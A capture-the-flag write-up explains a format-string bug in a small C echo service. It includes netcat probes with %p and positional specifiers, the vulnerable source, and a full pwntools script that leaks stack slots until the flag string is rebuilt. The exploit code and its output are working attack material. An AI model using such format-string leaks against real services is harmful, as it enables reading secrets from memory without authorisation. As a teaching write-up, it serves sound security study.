Echo-chamber

Every word you whisper echoes back through the hall, sometimes carrying more than you meant to leave behind.

Connections

  • 34.87.191.188:9008

Attachments

Recon

The handout echo-chamber.tar.gz unpacks to a small x86-64 ELF plus the 14-line C source that builds it, and a service waits behind nc 34.87.191.188 9008. Before reading any code we connected to see whether the echo gives back more than we send.

Poking the echo

First contact, one plain line:

$ printf 'hello\n' | nc 34.87.191.188 9008
> hello
>

The service echoes hello, prints one more prompt, and exits once nc closes the pipe. So far a normal echo server. The standard next probe for anything that echoes user data is a format specifier:

$ printf '%s\n' '%p %p %p' | nc 34.87.191.188 9008
> 0xa70252070252070 0xfbad2288 0xa70252070252070
>

The specifiers were consumed by printf instead of being echoed literally, which is the whole bug in one line: user input reaches printf as the format string. Decoding the two identical values little-endian gives the bytes p %p %p\n, our own input left in registers by the fgets copy, and 0xfbad2288 is glibc’s FILE-structure magic, another stdio leftover. These three %p slots read leftover registers (RSI, RDX, RCX on x86-64 System V), so plain %p can never reach a flag that lives on the stack. That dead end is what positional specifiers fix:

$ printf '%s\n' '%6$p|%7$p|%8$p' | nc 34.87.191.188 9008
> 0x2437257c70243625|0xa702438257c70|0xc0b39
>

0x2437257c70243625 decoded little-endian is %6$p|%7$, bytes of the payload itself. Slot 6 is the first stack-sourced variadic argument on x86-64, and the first thing on the stack there is our own input buffer inside main’s frame. A 300-byte line of As (python3 -c "print('A'*300)" | nc 34.87.191.188 9008) came back in three chunks of 127, 127 and 46 bytes, each behind a fresh > prompt, so each round reads at most 127 characters and the rest spills into later rounds. And %200$p answered (nil) with the process still alive, so sweeping far slots is harmless.

Reading the source

The source then explains every behavior we observed:

#include <stdio.h>

int main(void) {
    char flag[128], input[128];

    setbuf(stdout, NULL);
    fgets(flag, sizeof(flag), fopen("/flag.txt", "r"));

    for (int i = 0; i < 16; i++) {
        printf("> ");
        if (!fgets(input, sizeof(input), stdin))
            break;
        printf(input);
    }
}

main reads /flag.txt into flag[128] at startup, then loops 16 times, printing >, reading a line, and passing that line straight to printf. The trailing prompt from our first probe was iteration two hitting EOF and breaking out; the 127-byte chunks match fgets(input, 128). There is no memory corruption to attempt and none needed, since the flag is already resident in main’s stack frame and positional specifiers let printf read that frame directly. A quick checksec on the handout binary:

$ checksec --file=echo-chamber/echo-chamber
[*] 'echo-chamber/echo-chamber'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

No PIE, no canary, NX on. For a pure read via %N$p none of that matters: we never write memory, never redirect control flow, and never need an absolute address, only a stable slot offset within one fixed binary layout.

Where the flag sits in the slot map

printf takes its first five variadic arguments from RSI, RDX, RCX, R8 and R9, and every argument after that is read sequentially from the caller’s stack above the return address. The %N$p numbering follows that order:

Specifier Source
%1$p to %5$p RSI, RDX, RCX, R8, R9 (leftover register contents)
%6$p onward main’s stack frame, one qword per slot, upward

flag[128] and input[128] are the only locals in main, and our input buffer showed up at slot 6, so the flag buffer has to sit within the next 32 slots. Each %NN$p costs at most 7 bytes, so a 128-byte line fits 12 specifiers plus separators, and the 16 available rounds are far more than the 6 needed to sweep slots 6 through 77.

Exploitation

The script connects with pwntools, drains the > prompt, and sends 12 positional leaks per line, joined with | so the response splits into one field per slot. The remote wraps output in \r\n, which the .strip() calls absorb. It collects every slot’s hex value, converts each qword back to bytes in little-endian order, and scans the reconstructed stack window for the flag pattern:

#!/usr/bin/env python3
import re
from pwn import *

context.log_level = 'warn'
HOST, PORT = '34.87.191.188', 9008
io = remote(HOST, PORT)

results = {}
START, PER_LINE, END = 6, 12, 78   # %6$p = first stack vararg on x86-64 SysV

slot, rounds = START, 0
while slot < END and rounds < 16:
    slots = list(range(slot, min(slot + PER_LINE, END)))
    payload = '|'.join(f'%{s}$p' for s in slots) + '\n'
    assert len(payload) <= 128          # fgets(128) reads at most 127 chars
    io.recvuntil(b'> ')
    io.send(payload.encode())
    resp = io.recvline().decode(errors='replace').strip()
    for s, v in zip(slots, resp.split('|')):
        results[s] = v.strip()
    slot += PER_LINE
    rounds += 1
io.close()

mem = b''
for s in sorted(results):
    v = results[s]
    mem += int(v, 16).to_bytes(8, 'little') if v.startswith('0x') else b'\x00' * 8

print(re.search(rb'NVR\{[^}]*\}', mem).group(0).decode())

START = 6 is the first stack-sourced slot from the mapping above, and the assert guards the 127-character cap we measured with the 300-byte probe, so no round ever truncates its own payload. The first round came back as our own payload, which confirmed the numbering before the interesting region:

>>> %6$p|%7$p|%8$p|%9$p|%10$p|%11$p|%12$p|%13$p|%14$p|%15$p|%16$p|%17$p
<<< 0x2437257c70243625|0x257c702438257c70|0x243031257c702439|0x7c70243131257c70|0x31257c7024323125|0x243431257c702433|0x7c70243531257c70|0x31257c7024363125|0xa702437|0x14|0xffffffffffffffff|0x40

The second round already held the flag. Decoding its qwords little-endian, byte by byte:

Slot Value Bytes (LE) ASCII
%22$p 0x306863337b52564e 4e 56 52 7b 33 63 68 30 NVR{3ch0
%23$p 0x7233626d3468635f 5f 63 68 34 6d 62 33 72 _ch4mb3r
%24$p 0x7463336c6633725f 5f 72 33 66 6c 33 63 74 _r3fl3ct
%25$p 0x625f727530795f73 73 5f 79 30 75 72 5f 62 s_y0ur_b
%26$p 0xa7d737431 31 74 73 7d 0a 1ts}\n

Slot 26 ends with the closing brace, then the newline fgets kept when it copied /flag.txt, then zero bytes. Slots 27 and 28 still held stale stack values in the unwritten tail of flag[128], and slots 29 through 36 answered (nil), so the string was captured whole with nothing cut off. The regex over the reassembled window matches exactly those bytes.

Flag capture

$ python leak.py
NVR{3ch0_ch4mb3r_r3fl3cts_y0ur_b1ts}